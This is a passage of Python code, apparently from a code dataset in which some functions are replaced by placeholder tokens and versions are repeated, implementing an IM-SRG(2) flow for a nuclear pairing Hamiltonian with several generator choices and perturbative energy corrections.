= [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n", "<import token>\n<function token>\n\n\ndef construct_basis_ph2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n for i in holes:\n for a in particles:\n basis.append((i, a))\n for a in particles:\n for i in holes:\n basis.append((a, i))\n for a in particles:\n for b in particles:\n basis.append((a, b))\n return basis\n\n\n<function token>\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\ndef construct_occupationA_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationC_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] * occ1B[j]\n return occ\n\n\ndef eta_brillouin(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n eta1B[a, i] = f[a, i]\n eta1B[i, a] = -f[a, i]\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n val = Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = 0.5 * np.arctan(2 * f[a, i] / denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j\n ]] / denom)\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\ndef derivative_wrapper(t, y, user_data):\n dim1B = user_data['dim1B']\n dim2B = dim1B * dim1B\n holes = user_data['holes']\n particles = user_data['particles']\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occA_2B = user_data['occA_2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n calc_eta = user_data['calc_eta']\n calc_rhs = user_data['calc_rhs']\n E, f, Gamma = get_operator_from_y(y, dim1B, dim2B)\n eta1B, eta2B = calc_eta(f, Gamma, user_data)\n dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data)\n dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1)))\n user_data['dE'] = dE\n user_data['eta_norm'] = np.linalg.norm(eta1B, ord='fro') + np.linalg.norm(\n eta2B, ord='fro')\n return dy\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n\n\ndef calc_mbpt2(f, Gamma, user_data):\n DE2 = 0.0\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]\n me = Gamma[idx2B[a, b], idx2B[i, j]]\n DE2 += 0.25 * me * me / denom\n return DE2\n\n\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n", "<import token>\n<function token>\n\n\ndef construct_basis_ph2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n for i in holes:\n for a in particles:\n basis.append((i, a))\n for a in particles:\n for i in holes:\n basis.append((a, i))\n for a in particles:\n for b in particles:\n basis.append((a, b))\n return basis\n\n\n<function token>\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationC_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] * occ1B[j]\n return occ\n\n\ndef eta_brillouin(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n eta1B[a, i] = f[a, i]\n eta1B[i, a] = -f[a, i]\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n val = Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = 0.5 * np.arctan(2 * f[a, i] / denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j\n ]] / denom)\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in 